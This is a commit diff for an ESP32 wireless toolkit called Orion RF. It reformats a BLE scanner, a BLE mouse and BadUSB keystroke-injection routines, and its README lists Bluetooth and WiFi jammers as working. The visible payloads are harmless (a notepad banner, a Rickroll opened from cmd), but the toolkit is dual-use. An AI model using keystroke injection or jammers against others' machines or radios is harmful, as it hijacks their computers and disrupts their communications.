orion-rf206ed22
apply code formatting
+1509 −1692
15 files changed
- M README.md +6 −3
- M src/bluetooth/ble_mouse.cpp +54 −55
- M src/bluetooth/blescanner.cpp +142 −161
- M src/config.h +8 −14
- M src/hid/badusb.cpp +287 −253
- M src/main.cpp +51 −68
- M src/nfc/nfc.cpp +60 −73
- M src/rf/cc1101.cpp +242 −293
- M src/rf/nrf24.cpp +163 −196
- M src/ui/display.cpp +6 −11
- M src/ui/menu.cpp +242 −289
- M src/utils/buttons.cpp +8 −9
- M src/utils/sysinfo.cpp +58 −61
- M src/wifi/wifi_analyzer.cpp +89 −100
- M src/wifi/wifi_scan.cpp +93 −106
| @@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with | |||
| 27 | 27 | ||
| 28 | 28 | ## Hardware | |
| 29 | 29 | - ESP32-S3 N16R8 | |
| 30 | − | - 2x NRF24L01 | |
| 31 | − | - 2x CC1101 | |
| 30 | + | - 2x NRF24L01 Module | |
| 31 | + | - 2x CC1101 Module | |
| 32 | + | - PN532 NFC Module | |
| 33 | + | - MicroSD card Module | |
| 34 | + | - TP4056 Charging Module | |
| 32 | 35 | - OLED display | |
| 33 | 36 | - Battery-powered portable setup | |
| 34 | 37 | ||
| @@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with | |||
| 43 | 46 | | BLE Mouse | Working | | |
| 44 | 47 | | BLE Jammer | Working | | |
| 45 | 48 | | Bluetooth Jammer | Working | | |
| 46 | − | | WiFi Jammer | Experimental | | |
| 49 | + | | WiFi Jammer | Working | | |
| 47 | 50 | | RF Capture | WIP | | |
| 48 | 51 | | RF Replay | WIP | | |
| 49 | 52 | | SD Card Support | Planned | | |
| @@ -1,7 +1,7 @@ | |||
| 1 | + | #include "../config.h" | |
| 2 | + | #include "../hid/badusb.h" | |
| 1 | 3 | #include <Arduino.h> | |
| 2 | 4 | #include <BleMouse.h> | |
| 3 | − | #include "../hid/badusb.h" | |
| 4 | − | #include "../config.h" | |
| 5 | 5 | ||
| 6 | 6 | #include "../utils/buttons.h" | |
| 7 | 7 | #include "ui/display.h" | |
| @@ -11,64 +11,63 @@ | |||
| 11 | 11 | extern BleMouse bleMouse; | |
| 12 | 12 | ||
| 13 | 13 | // ===== MAIN ===== | |
| 14 | − | void ble_mouse_run() | |
| 15 | − | { | |
| 14 | + | void ble_mouse_run() { | |
| 15 | + | u8g2.clearBuffer(); | |
| 16 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 17 | + | u8g2.drawStr(10, 25, "BLE Mouse"); | |
| 18 | + | u8g2.drawStr(10, 45, "Connecting..."); | |
| 19 | + | u8g2.sendBuffer(); | |
| 20 | + | ||
| 21 | + | delay(800); | |
| 22 | + | ||
| 23 | + | while (1) { | |
| 24 | + | // 🔥 EXIT FIRST (clean) | |
| 25 | + | if (btnBack()) | |
| 26 | + | break; | |
| 27 | + | ||
| 28 | + | bool connected = bleMouse.isConnected(); | |
| 29 | + | ||
| 30 | + | int dx = 0; | |
| 31 | + | int dy = 0; | |
| 32 | + | ||
| 33 | + | if (connected) { | |
| 34 | + | if (!digitalRead(BTN_UP)) | |
| 35 | + | dy = -6; | |
| 36 | + | if (!digitalRead(BTN_DOWN)) | |
| 37 | + | dy = 6; | |
| 38 | + | if (!digitalRead(BTN_LEFT)) | |
| 39 | + | dx = -6; | |
| 40 | + | if (!digitalRead(BTN_RIGHT)) | |
| 41 | + | dx = 6; | |
| 42 | + | ||
| 43 | + | if (dx || dy) | |
| 44 | + | bleMouse.move(dx, dy); | |
| 45 | + | ||
| 46 | + | // ✅ single click (not spam) | |
| 47 | + | static bool lastSelect = false; | |
| 48 | + | bool currentSelect = !digitalRead(BTN_SELECT); | |
| 49 | + | ||
| 50 | + | if (currentSelect && !lastSelect) | |
| 51 | + | bleMouse.click(MOUSE_LEFT); | |
| 52 | + | ||
| 53 | + | lastSelect = currentSelect; | |
| 54 | + | } | |
| 55 | + | ||
| 56 | + | // ===== UI ===== | |
| 16 | 57 | u8g2.clearBuffer(); | |
| 17 | 58 | u8g2.setFont(u8g2_font_6x10_tr); | |
| 18 | − | u8g2.drawStr(10, 25, "BLE Mouse"); | |
| 19 | − | u8g2.drawStr(10, 45, "Connecting..."); | |
| 20 | − | u8g2.sendBuffer(); | |
| 21 | − | ||
| 22 | − | delay(800); | |
| 23 | − | ||
| 24 | − | while (1) | |
| 25 | − | { | |
| 26 | − | // 🔥 EXIT FIRST (clean) | |
| 27 | − | if (btnBack()) break; | |
| 28 | − | ||
| 29 | − | bool connected = bleMouse.isConnected(); | |
| 30 | − | ||
| 31 | − | int dx = 0; | |
| 32 | − | int dy = 0; | |
| 33 | 59 | ||
| 34 | − | if (connected) | |
| 35 | − | { | |
| 36 | − | if (!digitalRead(BTN_UP)) dy = -6; | |
| 37 | − | if (!digitalRead(BTN_DOWN)) dy = 6; | |
| 38 | − | if (!digitalRead(BTN_LEFT)) dx = -6; | |
| 39 | − | if (!digitalRead(BTN_RIGHT)) dx = 6; | |
| 60 | + | u8g2.drawStr(10, 20, "BLE Mouse"); | |
| 40 | 61 | ||
| 41 | − | if (dx || dy) | |
| 42 | − | bleMouse.move(dx, dy); | |
| 62 | + | if (connected) | |
| 63 | + | u8g2.drawStr(10, 35, "Connected"); | |
| 64 | + | else | |
| 65 | + | u8g2.drawStr(10, 35, "Waiting"); | |
| 43 | 66 | ||
| 44 | − | // ✅ single click (not spam) | |
| 45 | − | static bool lastSelect = false; | |
| 46 | − | bool currentSelect = !digitalRead(BTN_SELECT); | |
| 67 | + | u8g2.drawStr(10, 55, "BACK = Exit"); | |
| 47 | 68 | ||
| 48 | − | if (currentSelect && !lastSelect) | |
| 49 | − | bleMouse.click(MOUSE_LEFT); | |
| 50 | − | ||
| 51 | − | lastSelect = currentSelect; | |
| 52 | − | } | |
| 53 | − | ||
| 54 | − | // ===== UI ===== | |
| 55 | − | u8g2.clearBuffer(); | |
| 56 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 57 | − | ||
| 58 | − | u8g2.drawStr(10, 20, "BLE Mouse"); | |
| 59 | − | ||
| 60 | − | if (connected) | |
| 61 | − | u8g2.drawStr(10, 35, "Connected"); | |
| 62 | − | else | |
| 63 | − | u8g2.drawStr(10, 35, "Waiting"); | |
| 64 | − | ||
| 65 | − | u8g2.drawStr(10, 55, "BACK = Exit"); | |
| 66 | − | ||
| 67 | − | u8g2.sendBuffer(); | |
| 69 | + | u8g2.sendBuffer(); | |
| 68 | 70 | ||
| 69 | − | delay(10); // important for BLE stability | |
| 70 | − | } | |
| 71 | + | delay(10); // important for BLE stability | |
| 72 | + | } | |
| 71 | 73 | } | |
| 72 | − | ||
| 73 | − | ||
| 74 | − | ||
| @@ -1,20 +1,20 @@ | |||
| 1 | 1 | #include <Arduino.h> | |
| 2 | + | #include <BLEAdvertisedDevice.h> | |
| 2 | 3 | #include <BLEDevice.h> | |
| 3 | 4 | #include <BLEScan.h> | |
| 4 | − | #include <BLEAdvertisedDevice.h> | |
| 5 | 5 | #include <vector> | |
| 6 | 6 | ||
| 7 | − | #include "ui/display.h" | |
| 8 | − | #include "../utils/buttons.h" | |
| 9 | 7 | #include "../config.h" | |
| 8 | + | #include "../utils/buttons.h" | |
| 9 | + | #include "ui/display.h" | |
| 10 | 10 | ||
| 11 | 11 | // ===== DEVICE STRUCT ===== | |
| 12 | 12 | struct BLEDeviceInfo { | |
| 13 | − | String name; | |
| 14 | − | String address; | |
| 15 | − | int rssi; | |
| 16 | − | String manufacturer; | |
| 17 | − | String deviceType; | |
| 13 | + | String name; | |
| 14 | + | String address; | |
| 15 | + | int rssi; | |
| 16 | + | String manufacturer; | |
| 17 | + | String deviceType; | |
| 18 | 18 | }; | |
| 19 | 19 | ||
| 20 | 20 | static std::vector<BLEDeviceInfo> devices; | |
| @@ -23,187 +23,168 @@ static int selectedIndex = 0; | |||
| 23 | 23 | ||
| 24 | 24 | // ===== CALLBACK ===== | |
| 25 | 25 | class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { | |
| 26 | − | void onResult(BLEAdvertisedDevice advertisedDevice) override { | |
| 27 | − | BLEDeviceInfo dev; | |
| 28 | − | ||
| 29 | − | String tempName = advertisedDevice.getName().c_str(); | |
| 30 | − | ||
| 31 | − | if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { | |
| 32 | − | tempName = advertisedDevice.getServiceData().c_str(); | |
| 33 | − | } | |
| 34 | − | ||
| 35 | − | if (tempName.length() == 0) { | |
| 36 | − | String addr = advertisedDevice.getAddress().toString().c_str(); | |
| 37 | − | tempName = "BLE_" + addr.substring(addr.length() - 5); | |
| 38 | − | } | |
| 39 | − | ||
| 40 | − | dev.name = tempName; | |
| 41 | − | dev.address = advertisedDevice.getAddress().toString().c_str(); | |
| 42 | − | dev.rssi = advertisedDevice.getRSSI(); | |
| 43 | − | ||
| 44 | − | if (advertisedDevice.haveManufacturerData()) { | |
| 45 | − | String mData = advertisedDevice.getManufacturerData().c_str(); | |
| 46 | − | ||
| 47 | − | if (mData.length() >= 2) { | |
| 48 | − | char buffer[10]; | |
| 49 | − | sprintf(buffer, "0x%02X%02X", | |
| 50 | − | (uint8_t)mData[1], | |
| 51 | − | (uint8_t)mData[0]); | |
| 52 | − | dev.manufacturer = String(buffer); | |
| 53 | − | } else { | |
| 54 | − | dev.manufacturer = "unknown"; | |
| 55 | − | } | |
| 56 | − | } else { | |
| 57 | − | dev.manufacturer = "unknown"; | |
| 58 | − | } | |
| 59 | − | ||
| 60 | − | if (advertisedDevice.haveServiceUUID()) { | |
| 61 | − | dev.deviceType = | |
| 62 | − | advertisedDevice.getServiceUUID().toString().c_str(); | |
| 63 | − | } else { | |
| 64 | − | dev.deviceType = "unknown"; | |
| 65 | − | } | |
| 66 | − | ||
| 67 | − | devices.push_back(dev); | |
| 26 | + | void onResult(BLEAdvertisedDevice advertisedDevice) override { | |
| 27 | + | BLEDeviceInfo dev; | |
| 28 | + | ||
| 29 | + | String tempName = advertisedDevice.getName().c_str(); | |
| 30 | + | ||
| 31 | + | if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { | |
| 32 | + | tempName = advertisedDevice.getServiceData().c_str(); | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | if (tempName.length() == 0) { | |
| 36 | + | String addr = advertisedDevice.getAddress().toString().c_str(); | |
| 37 | + | tempName = "BLE_" + addr.substring(addr.length() - 5); | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | dev.name = tempName; | |
| 41 | + | dev.address = advertisedDevice.getAddress().toString().c_str(); | |
| 42 | + | dev.rssi = advertisedDevice.getRSSI(); | |
| 43 | + | ||
| 44 | + | if (advertisedDevice.haveManufacturerData()) { | |
| 45 | + | String mData = advertisedDevice.getManufacturerData().c_str(); | |
| 46 | + | ||
| 47 | + | if (mData.length() >= 2) { | |
| 48 | + | char buffer[10]; | |
| 49 | + | sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]); | |
| 50 | + | dev.manufacturer = String(buffer); | |
| 51 | + | } else { | |
| 52 | + | dev.manufacturer = "unknown"; | |
| 53 | + | } | |
| 54 | + | } else { | |
| 55 | + | dev.manufacturer = "unknown"; | |
| 56 | + | } | |
| 57 | + | ||
| 58 | + | if (advertisedDevice.haveServiceUUID()) { | |
| 59 | + | dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str(); | |
| 60 | + | } else { | |
| 61 | + | dev.deviceType = "unknown"; | |
| 68 | 62 | } | |
| 63 | + | ||
| 64 | + | devices.push_back(dev); | |
| 65 | + | } | |
| 69 | 66 | }; | |
| 70 | 67 | ||
| 71 | 68 | // ===== DRAW MENU ===== | |
| 72 | − | void ble_drawMenu() | |
| 73 | − | { | |
| 74 | − | u8g2.clearBuffer(); | |
| 75 | − | ||
| 76 | − | if (devices.empty()) | |
| 77 | − | { | |
| 78 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 79 | − | u8g2.drawStr(0, 30, "No devices"); | |
| 80 | − | u8g2.drawStr(0, 45, "Press BACK"); | |
| 81 | − | } | |
| 82 | − | else | |
| 83 | − | { | |
| 84 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 69 | + | void ble_drawMenu() { | |
| 70 | + | u8g2.clearBuffer(); | |
| 71 | + | ||
| 72 | + | if (devices.empty()) { | |
| 73 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 74 | + | u8g2.drawStr(0, 30, "No devices"); | |
| 75 | + | u8g2.drawStr(0, 45, "Press BACK"); | |
| 76 | + | } else { | |
| 77 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 85 | 78 | ||
| 86 | − | char counter[20]; | |
| 87 | − | sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); | |
| 88 | − | u8g2.drawStr(0, 8, counter); | |
| 79 | + | char counter[20]; | |
| 80 | + | sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); | |
| 81 | + | u8g2.drawStr(0, 8, counter); | |
| 89 | 82 | ||
| 90 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 83 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 91 | 84 | ||
| 92 | − | for (int i = 0; i < 3; i++) | |
| 93 | − | { | |
| 94 | − | int idx = selectedIndex + i; | |
| 95 | − | if (idx >= devices.size()) break; | |
| 85 | + | for (int i = 0; i < 3; i++) { | |
| 86 | + | int idx = selectedIndex + i; | |
| 87 | + | if (idx >= devices.size()) | |
| 88 | + | break; | |
| 96 | 89 | ||
| 97 | − | int y = 22 + i * 14; | |
| 90 | + | int y = 22 + i * 14; | |
| 98 | 91 | ||
| 99 | − | if (i == 0) | |
| 100 | − | { | |
| 101 | − | u8g2.drawBox(0, y - 10, 128, 12); | |
| 102 | − | u8g2.setDrawColor(0); | |
| 103 | − | } | |
| 92 | + | if (i == 0) { | |
| 93 | + | u8g2.drawBox(0, y - 10, 128, 12); | |
| 94 | + | u8g2.setDrawColor(0); | |
| 95 | + | } | |
| 104 | 96 | ||
| 105 | − | String text = devices[idx].name; | |
| 106 | − | if (text.length() > 12) | |
| 107 | − | text = text.substring(0, 12) + ".."; | |
| 97 | + | String text = devices[idx].name; | |
| 98 | + | if (text.length() > 12) | |
| 99 | + | text = text.substring(0, 12) + ".."; | |
| 108 | 100 | ||
| 109 | − | text += " (" + String(devices[idx].rssi) + ")"; | |
| 101 | + | text += " (" + String(devices[idx].rssi) + ")"; | |
| 110 | 102 | ||
| 111 | − | u8g2.drawStr(2, y, text.c_str()); | |
| 103 | + | u8g2.drawStr(2, y, text.c_str()); | |
| 112 | 104 | ||
| 113 | − | if (i == 0) | |
| 114 | − | u8g2.setDrawColor(1); | |
| 115 | − | } | |
| 105 | + | if (i == 0) | |
| 106 | + | u8g2.setDrawColor(1); | |
| 116 | 107 | } | |
| 108 | + | } | |
| 117 | 109 | ||
| 118 | − | u8g2.sendBuffer(); | |
| 110 | + | u8g2.sendBuffer(); | |
| 119 | 111 | } | |
| 120 | 112 | ||
| 121 | 113 | // ===== DEVICE DETAILS ===== | |
| 122 | − | void ble_drawDetails(const BLEDeviceInfo &dev) | |
| 123 | − | { | |
| 124 | − | u8g2.clearBuffer(); | |
| 125 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 114 | + | void ble_drawDetails(const BLEDeviceInfo &dev) { | |
| 115 | + | u8g2.clearBuffer(); | |
| 116 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 126 | 117 | ||
| 127 | − | u8g2.drawStr(0, 10, dev.name.c_str()); | |
| 128 | − | u8g2.drawStr(0, 20, dev.address.c_str()); | |
| 118 | + | u8g2.drawStr(0, 10, dev.name.c_str()); | |
| 119 | + | u8g2.drawStr(0, 20, dev.address.c_str()); | |
| 129 | 120 | ||
| 130 | − | char rssiStr[20]; | |
| 131 | − | sprintf(rssiStr, "RSSI: %d", dev.rssi); | |
| 132 | − | u8g2.drawStr(0, 30, rssiStr); | |
| 121 | + | char rssiStr[20]; | |
| 122 | + | sprintf(rssiStr, "RSSI: %d", dev.rssi); | |
| 123 | + | u8g2.drawStr(0, 30, rssiStr); | |
| 133 | 124 | ||
| 134 | − | u8g2.drawStr(0, 40, dev.manufacturer.c_str()); | |
| 125 | + | u8g2.drawStr(0, 40, dev.manufacturer.c_str()); | |
| 135 | 126 | ||
| 136 | − | u8g2.sendBuffer(); | |
| 127 | + | u8g2.sendBuffer(); | |
| 137 | 128 | } | |
| 138 | 129 | ||
| 139 | 130 | // ===== SCAN ===== | |
| 140 | − | void ble_scan() | |
| 141 | − | { | |
| 142 | − | devices.clear(); | |
| 143 | − | ||
| 144 | − | u8g2.clearBuffer(); | |
| 145 | − | u8g2.drawStr(10, 30, "Scanning..."); | |
| 146 | − | u8g2.sendBuffer(); | |
| 147 | − | ||
| 148 | − | BLEDevice::init(""); | |
| 149 | − | ||
| 150 | − | pBLEScan = BLEDevice::getScan(); | |
| 151 | − | pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); | |
| 152 | − | pBLEScan->setActiveScan(true); | |
| 153 | − | pBLEScan->setInterval(100); | |
| 154 | − | pBLEScan->setWindow(99); | |
| 155 | − | ||
| 156 | − | pBLEScan->start(5, false); | |
| 157 | − | ||
| 158 | − | // remove duplicates | |
| 159 | − | std::vector<BLEDeviceInfo> unique; | |
| 160 | − | for (auto &d : devices) | |
| 161 | − | { | |
| 162 | − | bool exists = false; | |
| 163 | − | for (auto &u : unique) | |
| 164 | − | { | |
| 165 | − | if (u.address == d.address) | |
| 166 | − | { | |
| 167 | − | exists = true; | |
| 168 | − | break; | |
| 169 | − | } | |
| 170 | − | } | |
| 171 | − | if (!exists) unique.push_back(d); | |
| 131 | + | void ble_scan() { | |
| 132 | + | devices.clear(); | |
| 133 | + | ||
| 134 | + | u8g2.clearBuffer(); | |
| 135 | + | u8g2.drawStr(10, 30, "Scanning..."); | |
| 136 | + | u8g2.sendBuffer(); | |
| 137 | + | ||
| 138 | + | BLEDevice::init(""); | |
| 139 | + | ||
| 140 | + | pBLEScan = BLEDevice::getScan(); | |
| 141 | + | pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), | |
| 142 | + | false); | |
| 143 | + | pBLEScan->setActiveScan(true); | |
| 144 | + | pBLEScan->setInterval(100); | |
| 145 | + | pBLEScan->setWindow(99); | |
| 146 | + | ||
| 147 | + | pBLEScan->start(5, false); | |
| 148 | + | ||
| 149 | + | // remove duplicates | |
| 150 | + | std::vector<BLEDeviceInfo> unique; | |
| 151 | + | for (auto &d : devices) { | |
| 152 | + | bool exists = false; | |
| 153 | + | for (auto &u : unique) { | |
| 154 | + | if (u.address == d.address) { | |
| 155 | + | exists = true; | |
| 156 | + | break; | |
| 157 | + | } | |
| 172 | 158 | } | |
| 159 | + | if (!exists) | |
| 160 | + | unique.push_back(d); | |
| 161 | + | } | |
| 173 | 162 | ||
| 174 | − | devices = unique; | |
| 163 | + | devices = unique; | |
| 175 | 164 | } | |
| 176 | 165 | ||
| 177 | 166 | // ===== MAIN LOOP ===== | |
| 178 | − | void ble_loop() | |
| 179 | − | { | |
| 180 | − | static uint32_t lastPress = 0; | |
| 181 | − | ||
| 182 | − | if (millis() - lastPress < 200) | |
| 183 | − | return; | |
| 184 | − | ||
| 185 | − | if (btnDown() && selectedIndex < (int)devices.size() - 1) | |
| 186 | − | { | |
| 187 | − | selectedIndex++; | |
| 188 | − | ble_drawMenu(); | |
| 189 | − | lastPress = millis(); | |
| 190 | − | } | |
| 191 | − | else if (btnUp() && selectedIndex > 0) | |
| 192 | − | { | |
| 193 | − | selectedIndex--; | |
| 194 | − | ble_drawMenu(); | |
| 195 | − | lastPress = millis(); | |
| 196 | − | } | |
| 197 | − | else if (btnSelect() && !devices.empty()) | |
| 198 | − | { | |
| 199 | − | ble_drawDetails(devices[selectedIndex]); | |
| 200 | − | delay(3000); | |
| 201 | − | ble_drawMenu(); | |
| 202 | − | lastPress = millis(); | |
| 203 | − | } | |
| 204 | − | else if (btnBack()) | |
| 205 | − | { | |
| 206 | − | lastPress = millis(); | |
| 207 | − | return; | |
| 208 | − | } | |
| 167 | + | void ble_loop() { | |
| 168 | + | static uint32_t lastPress = 0; | |
| 169 | + | ||
| 170 | + | if (millis() - lastPress < 200) | |
| 171 | + | return; | |
| 172 | + | ||
| 173 | + | if (btnDown() && selectedIndex < (int)devices.size() - 1) { | |
| 174 | + | selectedIndex++; | |
| 175 | + | ble_drawMenu(); | |
| 176 | + | lastPress = millis(); | |
| 177 | + | } else if (btnUp() && selectedIndex > 0) { | |
| 178 | + | selectedIndex--; | |
| 179 | + | ble_drawMenu(); | |
| 180 | + | lastPress = millis(); | |
| 181 | + | } else if (btnSelect() && !devices.empty()) { | |
| 182 | + | ble_drawDetails(devices[selectedIndex]); | |
| 183 | + | delay(3000); | |
| 184 | + | ble_drawMenu(); | |
| 185 | + | lastPress = millis(); | |
| 186 | + | } else if (btnBack()) { | |
| 187 | + | lastPress = millis(); | |
| 188 | + | return; | |
| 189 | + | } | |
| 209 | 190 | } | |
| @@ -18,24 +18,19 @@ | |||
| 18 | 18 | /////////////////cc1101 vars////////////// | |
| 19 | 19 | // CC1101 via FSPI | |
| 20 | 20 | #define cc1101_SCK 15 | |
| 21 | − | #define cc1101_MISO 3 | |
| 21 | + | #define cc1101_MISO 41 | |
| 22 | 22 | #define cc1101_MOSI 35 | |
| 23 | 23 | ||
| 24 | 24 | //////////////cc1101(1)////////// | |
| 25 | − | #define CC1101_CS 45 | |
| 26 | − | #define CC1101_GDO0 21 | |
| 27 | − | #define CC1101_GDO2 47 | |
| 28 | − | ||
| 29 | − | /////////////cc1101(2)////////// | |
| 30 | − | #define CC1101_2_CS 40 | |
| 31 | − | #define CC1101_2_GDO0 41 | |
| 32 | − | #define CC1101_2_GDO2 42 | |
| 25 | + | #define CC1101_CS 40 | |
| 26 | + | #define CC1101_GDO0 39 | |
| 27 | + | #define CC1101_GDO2 42 | |
| 33 | 28 | ||
| 34 | 29 | // SD Card via HSPI | |
| 35 | − | #define SD_SCK 14 | |
| 36 | − | #define SD_MISO 39 | |
| 37 | − | #define SD_MOSI 38 | |
| 38 | − | #define SD_CS 37 | |
| 30 | + | //#define SD_SCK 14 | |
| 31 | + | //#define SD_MISO 39 | |
| 32 | + | //#define SD_MOSI 38 | |
| 33 | + | //#define SD_CS 37 | |
| 39 | 34 | ||
| 40 | 35 | ||
| 41 | 36 | // =================== Buttons ==================== | |
| @@ -45,4 +40,3 @@ | |||
| 45 | 40 | #define BTN_BACK 7 | |
| 46 | 41 | #define BTN_LEFT 1 | |
| 47 | 42 | #define BTN_RIGHT 2 | |
| 48 | − | ||
| @@ -1,6 +1,6 @@ | |||
| 1 | + | #include "../ui/display.h" | |
| 1 | 2 | #include <Arduino.h> | |
| 2 | 3 | #include <USBHIDKeyboard.h> | |
| 3 | − | #include "../ui/display.h" | |
| 4 | 4 | ||
| 5 | 5 | extern USBHIDKeyboard Keyboard; | |
| 6 | 6 | ||
| @@ -56,332 +56,366 @@ void showRunningScreen(String taskName, uint8_t duration = 5) { | |||
| 56 | 56 | } | |
| 57 | 57 | } | |
| 58 | 58 | ||
| 59 | − | void typeSlow(const char *text, int delayMs = 25) | |
| 60 | − | { | |
| 61 | − | while (*text) | |
| 62 | − | { | |
| 63 | − | Keyboard.print(*text); | |
| 64 | − | delay(delayMs); | |
| 65 | − | text++; | |
| 66 | − | } | |
| 59 | + | void typeSlow(const char *text, int delayMs = 25) { | |
| 60 | + | while (*text) { | |
| 61 | + | Keyboard.print(*text); | |
| 62 | + | delay(delayMs); | |
| 63 | + | text++; | |
| 64 | + | } | |
| 67 | 65 | } | |
| 68 | 66 | ||
| 69 | 67 | void badUSBMenu(int index) { | |
| 70 | − | //switch (index) | |
| 71 | − | // { | |
| 72 | − | // case 0: | |
| 73 | − | // runBadUSBDemo(); | |
| 74 | − | // break; | |
| 68 | + | // switch (index) | |
| 69 | + | // { | |
| 70 | + | // case 0: | |
| 71 | + | // runBadUSBDemo(); | |
| 72 | + | // break; | |
| 75 | 73 | ||
| 76 | − | // case 1: | |
| 77 | − | // Serial.println("Open CMD payload"); | |
| 78 | − | // runBadUSBOpenCMD(); | |
| 79 | − | // break; | |
| 74 | + | // case 1: | |
| 75 | + | // Serial.println("Open CMD payload"); | |
| 76 | + | // runBadUSBOpenCMD(); | |
| 77 | + | // break; | |
| 80 | 78 | ||
| 81 | − | // case 2: | |
| 82 | − | // Serial.println("Rickroll payload"); | |
| 83 | − | // runBadUSBRickroll(); | |
| 84 | − | // break; | |
| 85 | − | // } | |
| 79 | + | // case 2: | |
| 80 | + | // Serial.println("Rickroll payload"); | |
| 81 | + | // runBadUSBRickroll(); | |
| 82 | + | // break; | |
| 83 | + | // } | |
| 86 | 84 | ||
| 85 | + | switch (index) { | |
| 86 | + | // ================= ORION DEMO ================= | |
| 87 | + | case 0: | |
| 88 | + | showRunningScreen("ORION Demo"); | |
| 87 | 89 | ||
| 88 | − | switch(index) | |
| 89 | − | { | |
| 90 | − | // ================= ORION DEMO ================= | |
| 91 | − | case 0: | |
| 92 | − | showRunningScreen("ORION Demo"); | |
| 90 | + | runCommand("notepad"); | |
| 93 | 91 | ||
| 94 | − | runCommand("notepad"); | |
| 92 | + | delay(2500); | |
| 95 | 93 | ||
| 96 | − | delay(2500); | |
| 94 | + | typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); | |
| 95 | + | Keyboard.write(KEY_RETURN); | |
| 97 | 96 | ||
| 98 | − | typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); | |
| 99 | − | Keyboard.write(KEY_RETURN); | |
| 97 | + | typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); | |
| 98 | + | Keyboard.write(KEY_RETURN); | |
| 100 | 99 | ||
| 101 | − | typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); | |
| 102 | − | Keyboard.write(KEY_RETURN); | |
| 100 | + | typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); | |
| 101 | + | Keyboard.write(KEY_RETURN); | |
| 103 | 102 | ||
| 104 | − | typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); | |
| 105 | − | Keyboard.write(KEY_RETURN); | |
| 103 | + | typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); | |
| 104 | + | Keyboard.write(KEY_RETURN); | |
| 106 | 105 | ||
| 107 | − | typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); | |
| 108 | − | Keyboard.write(KEY_RETURN); | |
| 106 | + | typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); | |
| 107 | + | Keyboard.write(KEY_RETURN); | |
| 109 | 108 | ||
| 110 | − | typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); | |
| 111 | − | Keyboard.write(KEY_RETURN); | |
| 109 | + | typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); | |
| 110 | + | Keyboard.write(KEY_RETURN); | |
| 112 | 111 | ||
| 113 | − | typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); | |
| 114 | − | Keyboard.write(KEY_RETURN); | |
| 112 | + | Keyboard.write(KEY_RETURN); | |
| 115 | 113 | ||
| 116 | − | Keyboard.write(KEY_RETURN); | |
| 114 | + | typeSlow("[+] WIFI MODULE READY"); | |
| 115 | + | Keyboard.write(KEY_RETURN); | |
| 117 | 116 | ||
| 118 | − | typeSlow("[+] WIFI MODULE READY"); | |
| 119 | − | Keyboard.write(KEY_RETURN); | |
| 117 | + | typeSlow("[+] BLE MODULE READY"); | |
| 118 | + | Keyboard.write(KEY_RETURN); | |
| 120 | 119 | ||
| 121 | − | typeSlow("[+] BLE MODULE READY"); | |
| 122 | − | Keyboard.write(KEY_RETURN); | |
| 120 | + | typeSlow("[+] SUBGHZ MODULE READY"); | |
| 121 | + | Keyboard.write(KEY_RETURN); | |
| 123 | 122 | ||
| 124 | − | typeSlow("[+] SUBGHZ MODULE READY"); | |
| 125 | − | Keyboard.write(KEY_RETURN); | |
| 123 | + | typeSlow("[+] NFC MODULE READY"); | |
| 124 | + | Keyboard.write(KEY_RETURN); | |
| 126 | 125 | ||
| 127 | − | typeSlow("[+] NFC MODULE READY"); | |
| 128 | − | Keyboard.write(KEY_RETURN); | |
| 126 | + | typeSlow("[+] HID ENGINE READY"); | |
| 127 | + | Keyboard.write(KEY_RETURN); | |
| 129 | 128 | ||
| 130 | − | typeSlow("[+] HID ENGINE READY"); | |
| 131 | − | Keyboard.write(KEY_RETURN); | |
| 129 | + | break; | |
| 132 | 130 | ||
| 133 | − | break; | |
| 131 | + | // ================= RICKROLL ================= | |
| 132 | + | case 1: | |
| 133 | + | showRunningScreen("RickRoll"); | |
| 134 | 134 | ||
| 135 | − | // ================= RICKROLL ================= | |
| 136 | − | case 1: | |
| 137 | − | showRunningScreen("RickRoll"); | |
| 135 | + | runCommand("cmd"); | |
| 138 | 136 | ||
| 139 | − | runCommand("cmd"); | |
| 137 | + | delay(700); | |
| 140 | 138 | ||
| 141 | − | delay(700); | |
| 139 | + | typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); | |
| 140 | + | Keyboard.write(KEY_RETURN); | |
| 142 | 141 | ||
| 143 | − | typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); | |
| 144 | − | Keyboard.write(KEY_RETURN); | |
| 142 | + | break; | |
| 145 | 143 | ||
